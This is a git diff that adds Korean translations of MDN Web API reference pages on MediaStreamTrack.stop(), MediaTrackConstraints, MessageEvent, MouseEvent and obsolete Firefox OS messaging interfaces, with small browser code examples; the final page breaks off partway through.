+ + diff --git a/files/ko/web/api/mediastreamtrack/stop/index.html b/files/ko/web/api/mediastreamtrack/stop/index.html new file mode 100644 index 0000000000..e8ee82011e --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/stop/index.html @@ -0,0 +1,82 @@ +--- +title: MediaStreamTrack.stop() +slug: Web/API/MediaStreamTrack/stop +tags: + - API + - Media + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/stop +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.stop() 메서드는 트랙을 정지합니다.

+ +

구문

+ +
track.stop()
+
+ +

설명

+ +

stop() 메서드를 호출하면 {{glossary("user agent", "사용자 에이전트")}}에게 {{domxref("MediaStreamTrack")}}이 소스(파일, 네트워크 스트림, 장치 카메라와 마이크...)를 더는 필요로 하지 않음을 표현합니다. 두 개의 탭이 장치의 마이크에 접근하고 있는 경우처럼, 다수의 트랙이 하나의 소스를 사용하고 있을 수도 있으므로 소스 자체는 즉시 멈추지 않을 수도 있으며, 대신 트랙과 소스를 즉시 분리합니다. 아무런 미디어 트랙도 소스를 사용하지 않는 상태가 되면 그때 소스가 완전히 정지합니다.

+ +

stop()을 호출함과 동시에 {{domxref("MediaStreamTrack.readyState", "readyState")}} 속성은 ended로 바뀝니다.

+ +

예제

+ +

비디오 스트림 정지

+ +

이번 예제는 주어진 {{HTMLElement("video")}} 요소의 모든 트랙에서 stop()을 호출해 비디오 스트림을 정지하는 함수입니다.

+ +
function stopStreamedVideo(videoElem) {
+  const stream = videoElem.srcObject;
+  const tracks = stream.getTracks();
+
+  tracks.forEach(function(track) {
+    track.stop();
+  });
+
+  videoElem.srcObject = null;
+}
+ +

우선 비디오 요소에서 {{domxref("HTMLMediaElement.srcObject", "srcObject")}} 속성을 사용해 스트림을 가져오는 것부터 시작합니다. 그다음으로는 {{domxref("MediaStream.getTracks", "getTracks()")}} 메서드를 사용해 스트림의 트랙 목록을 가져오고, 이제 {{jsxref("Array.forEach", "forEach()")}}로 각 트랙의 stop() 메서드를 호출합니다.

+ +

마지막으로, srcObject를 {{jsxref("null")}}로 설정해서 {{domxref("MediaStream")}}과의 연결을 끊어, 객체를 해제할 수 있도록 합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-stop', 'MediaStreamTrack.stop()') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.stop")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediatrackconstraints/index.html b/files/ko/web/api/mediatrackconstraints/index.html new file mode 100644 index 0000000000..dd8f52948b --- /dev/null +++ b/files/ko/web/api/mediatrackconstraints/index.html @@ -0,0 +1,178 @@ +--- +title: MediaTrackConstraints +slug: Web/API/MediaTrackConstraints +translation_of: Web/API/MediaTrackConstraints +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaTrackConstraints 연관 배열은 트랙의 기능 및 기능이 받는 값 또는 값의 범위를 설명합니다. {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}에 전달해서, 스크립트가 일련의 필수(일치) 조건과 선호 조건의 값과 범위를 트랙에 설정할 수 있으며, 가장 최근에 설정한 사용자 지정 제약은 {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}를 호출해 가져올 수 있습니다.

+ +

For each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible. The specifics vary somewhat depending on the type of the constrainable property.

+ +

To learn more about how constraints work, see 기능, 제약, 설정.

+ +

속성

+ +

Some combination—but not necessarily all—of the following properties will exist on the object. This may be because a given browser doesn't support the property, or because it doesn't apply. For example, because {{Glossary("RTP")}} doesn't provide some of these values during negotiation of a WebRTC connection, a track associated with a {{domxref("RTCPeerConnection")}} will not include certain values, such as {{domxref("MediaTrackConstraints.facingMode", "facingMode")}} or {{domxref("MediaTrackConstraints.groupId", "groupId")}}.

+ +

모든 미디어 트랙의 속성

+ +
+
{{domxref("MediaTrackConstraints.deviceId", "deviceId")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a device ID or an array of device IDs which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.groupId", "groupId")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a group ID or an array of group IDs which are acceptable and/or required.
+
+ +

오디오 트랙의 속성

+ +
+
{{domxref("MediaTrackConstraints.autoGainControl", "autoGainControl")}}
+
A {{domxref("ConstrainBoolean")}} object which specifies whether automatic gain control is preferred and/or required.
+
{{domxref("MediaTrackConstraints.channelCount", "channelCount")}}
+
A {{domxref("ConstrainLong")}} specifying the channel count or range of channel counts which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.echoCancellation", "echoCancellation")}}
+
A {{domxref("ConstrainBoolean")}} object specifying whether or not echo cancellation is preferred and/or required.
+
{{domxref("MediaTrackConstraints.latency", "latency")}}
+
A {{domxref("ConstrainDouble")}} specifying the latency or range of latencies which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.noiseSuppression", "noiseSuppression")}}
+
A {{domxref("ConstrainBoolean")}} which specifies whether noise suppression is preferred and/or required.
+
{{domxref("MediaTrackConstraints.sampleRate", "sampleRate")}}
+
A {{domxref("ConstrainLong")}} specifying the sample rate or range of sample rates which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.sampleSize", "sampleSize")}}
+
A {{domxref("ConstrainLong")}} specifying the sample size or range of sample sizes which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.volume", "volume")}}
+
A {{domxref("ConstrainDouble")}} specifying the volume or range of volumes which are acceptable and/or required.
+
+ +

이미지 트랙의 속성

+ +
+
{{domxref("MediaTrackConstraints.whiteBalanceMode","whiteBalanceMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.exposureMode","exposureMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.focusMode","focusMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.pointsOfInterest","pointsOfInterest")}}
+
The pixel coordinates on the sensor of one or more points of interest. This is either an object in the form { x:value, y:value } or an array of such objects, where value  is a double-precision integer.
+
{{domxref("MediaTrackConstraints.expsureCompensation","exposureCompensation")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying f-stop adjustment by up to ±3. 
+
{{domxref("MediaTrackConstraints.colorTemperature","colorTemperature")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired color temperature in degrees kelvin.
+
{{domxref("MediaTrackConstraints.iso","iso")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired iso setting.
+
{{domxref("MediaTrackConstraints.brightness","brightness")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired brightness setting.
+
{{domxref("MediaTrackConstraints.contrast","contrast")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of difference between light and dark.
+
{{domxref("MediaTrackConstraints.saturation","saturation")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of color intensity.
+
{{domxref("MediaTrackConstraints.sharpness","sharpness")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the intensity of edges.
+
{{domxref("MediaTrackConstraints.focusDistance","focusDistance")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying distance to a focused object.
+
{{domxref("MediaTrackConstraints.zoom","zoom")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the desired focal length.
+
{{domxref("MediaTrackConstraints.torch","torch")}}
+
A {{jsxref("Boolean")}} defining whether the fill light is continuously connected, meaning it stays on as long as the track is active.
+
+ +

비디오 트랙의 속성

+ +
+
{{domxref("MediaTrackConstraints.aspectRatio", "aspectRatio")}}
+
A {{domxref("ConstrainDouble")}} specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.facingMode", "facingMode")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a facing or an array of facings which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.frameRate", "frameRate")}}
+
A {{domxref("ConstrainDouble")}} specifying the frame rate or range of frame rates which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.height", "height")}}
+
A {{domxref("ConstrainLong")}} specifying the video height or range of heights which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.width", "width")}}
+
A {{domxref("ConstrainLong")}} specifying the video width or range of widths which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.resizeMode", "resizeMode")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a mode or an array of modes the UA can use to derive the resolution of a video track. Allowed values are none and crop-and-scale. none means that the user agent uses the resolution provided by the camera, its driver or the OS. crop-and-scale means that the user agent can use cropping and downscaling on the camera output  in order to satisfy other constraints that affect the resolution.
+
+ +

화면 공유 트랙의 속성

+ +

These constraints apply to MediaTrackConstraints objects specified as part of the {{domxref("DisplayMediaStreamConstraints")}} object's {{domxref("DisplayMediaStreamConstraints.video", "video")}} property when using {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to obtain a stream for screen sharing.

+ +
+
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
+
+

A {{domxref("ConstrainDOMString")}} which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. The value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor.

+ +
+
always
+
The mouse is always visible in the video content of the {domxref("MediaStream"), unless the mouse has moved outside the area of the content.
+
motion
+
The mouse cursor is always included in the video if it's moving, and for a short time after it stops moving.
+
never
+
The mouse cursor is never included in the shared video.
+
+
+
{{domxref("MediaTrackConstraints.displaySurface", "displaySurface")}}
+
+

A {{domxref("ConstrainDOMString")}} which specifies the types of display surface that may be selected by the user. This may be a single one of the following strings, or a list of them to allow multiple source surfaces:

+ +
+
application
+
The stream contains all of the windows of the application chosen by the user rendered into the one video track.
+
browser
+
The stream contains the contents of a single browser tab selected by the user.
+
monitor
+
The stream's video track contains the entire contents of one or more of the user's screens.
+
window
+
The stream contains a single window selected by the user for sharing.
+
+
+
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
+
A {{domxref("ConstrainBoolean")}} value which may contain a single Boolean value or a set of them, indicating whether or not to allow the user to choose source surfaces which do not directly correspond to display areas. These may include backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediatrackconstraints')}}{{Spec2('Media Capture')}}Initial definition.
{{SpecName('MediaStream Image', '#mediatrackconstraintset-section')}}{{Spec2('MediaStream Image')}}Adds image constraints.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.MediaTrackConstraints")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/messageevent/index.html b/files/ko/web/api/messageevent/index.html new file mode 100644 index 0000000000..d6a9bea388 --- /dev/null +++ b/files/ko/web/api/messageevent/index.html @@ -0,0 +1,104 @@ +--- +title: MessageEvent +slug: Web/API/MessageEvent +translation_of: Web/API/MessageEvent +--- +
{{APIRef("HTML DOM")}}
+ +

MessageEvent 는 {{domxref("WebSocket")}} 또는 WebRTC {{domxref("RTCDataChannel")}} 으로 된 타겟으로 부터 전달받은 메시지를 보여주는 interface 입니다.

+ +

이 이벤트는 {{domxref("WebSocket.onmessage")}} 또는 {{domxref("RTCDataChannel.onmessage")}} 으로 설정된 이벤트 핸들러를 통해 실행이 되게 됩니다. 

+ +

{{AvailableInWorkers}}

+ +

생성자

+ +
+
{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}
+
새로운 MessageEvent를 생성합니다.
+
+ +

속성

+ +

이 interface는 부모 객체인 {{domxref("Event")}}의 속성을 상속받습니다.

+ +
+
{{domxref("MessageEvent.data")}} {{ReadonlyInline}}
+
emitter에 의해 보내진 데이터인 {{domxref("DOMString")}}, {{domxref("Blob")}} 또는 {{domxref("ArrayBuffer")}}를 포함합니다. 
+
{{domxref("MessageEvent.origin")}}
+
{{domxref("DOMString")}} 입니다.…
+
{{domxref("MessageEvent.ports")}}
+
+
{{domxref("MessageEvent.source")}}
+
+
+ +

메서드

+ +

이 interface는 부모 객체인 {{domxref("Event")}}의 메서드를 상속받습니다.

+ +
+
{{domxref("MessageEvent.initMessageEvent()")}} {{deprecated_inline}}
+
더 이상 사용하지 마십시오
+ : {{domxref("MessageEvent.MessageEvent", "MessageEvent()")}} 생성자를 대신 사용하십시오.
+
+ +

Browser 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("2.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Gecko 11.0 {{geckoRelease("11.0")}}부터  Gecko는 데이터를 위한 ArrayBuffer를 지원하지만{{domxref("Blob")}}를 지원하지는 않습니다.

+ +

See also

+ + diff --git a/files/ko/web/api/mouseevent/clientx/index.html b/files/ko/web/api/mouseevent/clientx/index.html new file mode 100644 index 0000000000..5806a312da --- /dev/null +++ b/files/ko/web/api/mouseevent/clientx/index.html @@ -0,0 +1,82 @@ +--- +title: MouseEvent.clientX +slug: Web/API/MouseEvent/clientX +translation_of: Web/API/MouseEvent/clientX +--- +
{{{APIRef("DOM 이벤트")}}
+{{domxref("MouseEvent")}}} 인터페이스의 clientX 읽기 전용 속성은 이벤트가 발생한 애플리케이션 {{glossary("viewport")}}}} 내에 수평 좌표를 제공한다(페이지 내의 좌표와는 반대).
+
+예를 들어 뷰포트의 왼쪽 가장자리를 클릭하면 페이지가 수평으로 스크롤되는지 여부에 관계없이 항상 clientX 값이 0인 마우스 이벤트가 발생한다.
+ +

Syntax

+ +
var x = instanceOfMouseEvent.clientX
+
+ +

Return value

+ +

CSSOM 뷰 모듈에 의해 재정의된 이중 부동 소수점 값. 원래 이 속성은 긴 정수로 정의되었다. 자세한 내용은 "브라우저 호환성" 섹션을 참조하십시오.

+ +

Example

+ +

이 예에서는 {{Event("mousemove")}}} 이벤트를 트리거할 때마다 마우스 좌표를 표시한다.

+ +

HTML

+ +
<p>위치를 보려면 마우스를 이동하십시오..</p>
+<p id="screen-log"></p>
+ +

JavaScript

+ +
let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+  screenLog.innerText = `
+    Screen X/Y: ${e.screenX}, ${e.screenY}
+    Client X/Y: ${e.clientX}, ${e.clientY}`;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#dom-mouseevent-clientx', 'clientX')}}{{Spec2('CSSOM View')}}Redefines {{domxref("MouseEvent")}} from long to double.
{{SpecName('DOM3 Events','#widl-MouseEvent-clientX','MouseEvent.clientX')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientX')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

브라우저 호환성

+ + + +

참고 항목

+ + diff --git a/files/ko/web/api/mouseevent/index.html b/files/ko/web/api/mouseevent/index.html new file mode 100644 index 0000000000..384dae2ff5 --- /dev/null +++ b/files/ko/web/api/mouseevent/index.html @@ -0,0 +1,188 @@ +--- +title: MouseEvent +slug: Web/API/MouseEvent +translation_of: Web/API/MouseEvent +--- +
{{APIRef("DOM Events")}}
+ +

MouseEvent 인터페이스는 특정 지점을 가리키는 장치를 통해 발생하는 이벤트를 의미한다 (마우스 등). 주로 사용되는 이벤트로는 {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}}, {{event("mousedown")}}가 있다.

+ +

MouseEvent 는 {{domxref("UIEvent")}}에서, {{domxref("UIEvent")}}는 {{domxref("Event")}}에서 파생되었다. MouseEvent 객체(object)를 생성하고자 할 때에는 {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}} 생성자(constructor)를 사용해야 한다. {{domxref("MouseEvent.initMouseEvent()")}} 메서드는 하위호환성을 위해 유지된다.

+ +

{{domxref("WheelEvent")}}, {{domxref("DragEvent")}} 등 특정 이벤트는 MouseEvent를 기반으로 한다.

+ +

{{InheritanceDiagram}}

+ +

Constructor

+ +
+
{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}
+
Creates a MouseEvent object.
+
+ +

Properties

+ +

This interface also inherits properties of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("MouseEvent.altKey")}} {{readonlyinline}}
+
Returns true if the alt key was down when the mouse event was fired.
+
{{domxref("MouseEvent.button")}} {{readonlyinline}}
+
The button number that was pressed (if applicable) when the mouse event was fired.
+
{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}
+
The buttons being depressed (if any) when the mouse event was fired.
+
{{domxref("MouseEvent.clientX")}} {{readonlyinline}}
+
The X coordinate of the mouse pointer in local (DOM content) coordinates.
+
{{domxref("MouseEvent.clientY")}} {{readonlyinline}}
+
The Y coordinate of the mouse pointer in local (DOM content) coordinates.
+
{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}
+
Returns true if the control key was down when the mouse event was fired.
+
{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}
+
Returns true if the meta key was down when the mouse event was fired.
+
{{domxref("MouseEvent.movementX")}} {{readonlyinline}}
+
The X coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.
+
{{domxref("MouseEvent.movementY")}} {{readonlyinline}}
+
The Y coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.
+
{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}
+
The X coordinate of the mouse pointer relative to the position of the padding edge of the target node.
+
{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}
+
The Y coordinate of the mouse pointer relative to the position of the padding edge of the target node.
+
{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}
+
The X coordinate of the mouse pointer relative to the whole document.
+
{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}
+
The Y coordinate of the mouse pointer relative to the whole document.
+
{{domxref("MouseEvent.region")}} {{readonlyinline}}
+
Returns the id of the hit region affected by the event. If no hit region is affected, null is returned.
+
{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}
+
+

The secondary target for the event, if there is one.

+
+
{{domxref("MouseEvent.screenX")}} {{readonlyinline}}
+
The X coordinate of the mouse pointer in global (screen) coordinates.
+
{{domxref("MouseEvent.screenY")}} {{readonlyinline}}
+
The Y coordinate of the mouse pointer in global (screen) coordinates.
+
{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}
+
Returns true if the shift key was down when the mouse event was fired.
+
{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}
+
The button being pressed when the mouse event was fired.
+
{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{deprecated_inline}} {{readonlyinline}}
+
The amount of pressure applied to a touch or tablet device when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure). Instead of using this deprecated (and non-standard) property, you should instead use {{domxref("PointerEvent")}} and look at its {{domxref("PointerEvent.pressure", "pressure")}} property.
+
{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}
+
The type of device that generated the event (one of the MOZ_SOURCE_* constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).
+
{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}
+
The amount of pressure applied when clicking
+
{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}
+
Alias for {{domxref("MouseEvent.clientX")}}.
+
{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}
+
Alias for {{domxref("MouseEvent.clientY")}}
+
+ +

Constants

+ +
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}
+
Minimum force necessary for a normal click
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}
+
Minimum force necessary for a force click
+
+ +

Methods

+ +

This interface also inherits methods of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("MouseEvent.getModifierState()")}}
+
Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.
+
{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}
+
Initializes the value of a MouseEvent created. If the event has already being dispatched, this method does nothing.
+
+ +

Example

+ +

This example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using DOM methods.

+ +

HTML

+ +
<p><label><input type="checkbox" id="checkbox"> Checked</label>
+<p><button id="button">Click me</button>
+ +

JavaScript

+ +
function simulateClick() {
+  var evt = new MouseEvent("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.dispatchEvent(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);
+ +

Result

+ +

{{EmbedLiveSample('Example')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#extensions-to-the-mouseevent-interface', 'MouseEvent')}}{{Spec2('CSSOM View')}}Redefines MouseEvent from long to double. This means that a PointerEvent whose pointerType is mouse will be a double.
{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}{{Spec2('Pointer Lock')}}From {{SpecName('DOM3 Events')}}, added movementX and movementY properties.
{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}{{Spec2('CSSOM View')}}From {{SpecName('DOM3 Events')}}, added offsetX and offsetY, pageX and pageY, x, and y properties. Redefined screen, page, client, and coordinate (x and y) properties as double from long.
{{SpecName('UI Events', '#interface-mouseevent', 'MouseEvent')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}{{Spec2('DOM3 Events')}}From {{SpecName('DOM2 Events')}}, added the MouseEvent() constructor, the getModifierState() method and the buttons property.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.MouseEvent")}}

+ +

See also

+ + diff --git a/files/ko/web/api/mozmmsevent/index.html b/files/ko/web/api/mozmmsevent/index.html new file mode 100644 index 0000000000..6a3975d40b --- /dev/null +++ b/files/ko/web/api/mozmmsevent/index.html @@ -0,0 +1,82 @@ +--- +title: MozMmsEvent +slug: Web/API/MozMmsEvent +tags: + - Firefox OS + - Mobile + - Non-standard + - Obsolete + - Reference + - WebSMS +translation_of: Archive/B2G_OS/API/MozMmsEvent +--- +

{{ Apiref() }}

+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +

요약

+ +

DOM MozMmsEvent 는 WebSMS MMS 메시지와 관련된 이벤트 객체이다.

+ +

속성

+ +
+
{{domxref("MozMmsEvent.message")}} {{readonlyinline}}
+
해당 이벤트에 의해 발생된 {{ domxref("MozMmsMessage") }} 이다.
+
+ +

MozMmsEvent 는 또한 {{domxref("Event")}} 의 속성을 상속받는다.

+ +

{{page("/en-US/docs/Web/API/Event","Properties")}}

+ +

메소드

+ +

MozMmsEvent 는 {{domxref("Event")}} 의 메소드를 상속받는다.

+ +

{{page("/en-US/docs/Web/API/Event","Methods")}}

+ +

이벤트

+ +

MozMmsEvent 는 다음과 같은 이벤트들에 사용된다:

+ +
+
{{event("deliverysuccess")}}
+
MMS가 수신자에게 전달되었을 때 발생한다.
+
{{event("received")}}
+
MMS를 받았을 때 발생한다.
+
{{event("sent")}}
+
MMS를 보냈을 때 발생한다.
+
+ +

명세

+ +

이 API는 비 표준 스펙의 구현체이다. 그러나 W3C의 System Application Working Group에서 논의되고 있다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

같이 보기

+ +
 
+ + diff --git a/files/ko/web/api/mozmmsmessage/index.html b/files/ko/web/api/mozmmsmessage/index.html new file mode 100644 index 0000000000..1d00b8050d --- /dev/null +++ b/files/ko/web/api/mozmmsmessage/index.html @@ -0,0 +1,83 @@ +--- +title: MozMmsMessage +slug: Web/API/MozMmsMessage +tags: + - Firefox OS + - Mobile + - Non-standard + - Obsolete + - Reference + - WebSMS +translation_of: Archive/B2G_OS/API/MozMmsMessage +--- +
{{APIRef("Mobile Messaging API")}}
+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +

요약

+ +

DOM MozMmsMessage 객체는 MMS 메시지를 나타내며 발신자, 수신자, 본문, 첨부 파일, 날짜와 같은 모든 정보를 가지고 있다.

+ +

속성

+ +
+
 
+
{{domxref("MozMmsMessage.type")}} {{readonlyinline}}
+
mms라는 값을 가지는 문자열이다.
+
{{domxref("MozMmsMessage.id")}} {{readonlyinline}}
+
메시지의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozMmsMessage.threadId")}} {{readonlyinline}}
+
메시지 일부의 스레드의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozMmsMessage.subject")}} {{readonlyinline}}
+
메시지의 제목을 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMmsMessage.smil")}} {{readonlyinline}}
+
메시지의 SMIL 콘텐츠를 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMmsMessage.attachments")}} {{readonlyinline}}
+
SMIL 콘텐츠에 필요한 첨부 파일을 나타내는 객체의 배열을 반환한다. 이 객체들은 id, location, content(Blob)를 포함하고 있다.
+
{{domxref("MozMmsMessage.expiryDate")}} {{readonlyinline}}
+
MMS를 수동으로 다운로드 받게 되는 만기일을 나타내는 Date 객체를 반환한다.
+
{{domxref("MozMmsMessage.delivery")}} {{readonlyinline}}
+
not-download, received, sending, sent, error 중 하나의 값을 가지게 되는 {{ domxref("DOMString") }} 의 배열을 반환한다.
+
{{domxref("MozMmsMessage.deliveryStatus")}} {{readonlyinline}}
+
delivery 속성 값에 따른 상태를 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMmsMessage.read")}} {{readonlyinline}}
+
메시지를 읽었는지 읽지 않았는지를 가리키는 Boolean을 반환한다.
+
{{domxref("MozMmsMessage.receivers")}} {{readonlyinline}}
+
각 수신자의 이름을 가진 {{ domxref("DOMString") }} 의 배열을 반환한다.
+
{{domxref("MozMmsMessage.sender")}} {{readonlyinline}}
+
발신자의 이름을 가진 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMmsMessage.timestamp")}} {{readonlyinline}}
+
메시지의 타임스탬프인 Date 객체를 반환한다.
+
+ +

명세

+ +

이 API는 비 표준 스펙의 구현체이다. 그러나 W3C의 System Application Working Group에서 논의되고 있다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

같이 보기

+ +
 
+ + diff --git a/files/ko/web/api/mozmobilemessagemanager/index.html b/files/ko/web/api/mozmobilemessagemanager/index.html new file mode 100644 index 0000000000..6b301fe71b --- /dev/null +++ b/files/ko/web/api/mozmobilemessagemanager/index.html @@ -0,0 +1,101 @@ +--- +title: MozMobileMessageManager +slug: Web/API/MozMobileMessageManager +tags: + - Firefox OS + - Mobile + - Obsolete + - Reference + - WebSMS +translation_of: Archive/B2G_OS/API/MozMobileMessageManager +--- +
{{APIRef("Mobile Messaging API")}}
+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +

요약

+ +

기기에서 WebSMS를 사용하여 MMS와 SMS 메시지 전송과 관리를 할 수 있는 기능을 제공한다.

+ +

이벤트 핸들러

+ +
+
{{domxref("MozMobileMessageManager.ondeliveryerror")}}
+
{{event("deliveryerror")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 수취인에게 전달되지 않았을 때 발생한다.
+
{{domxref("MozMobileMessageManager.ondeliverysuccess")}}
+
{{event("deliverysuccess")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 수취인에게 전달되었을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onreceived")}}
+
{{event("received")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS를 받았을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onretrieving")}}
+
{{event("retrieving")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 검색 단계의 시작에 MMS 또는 SMS가 진입했을 때 발생한다.
+
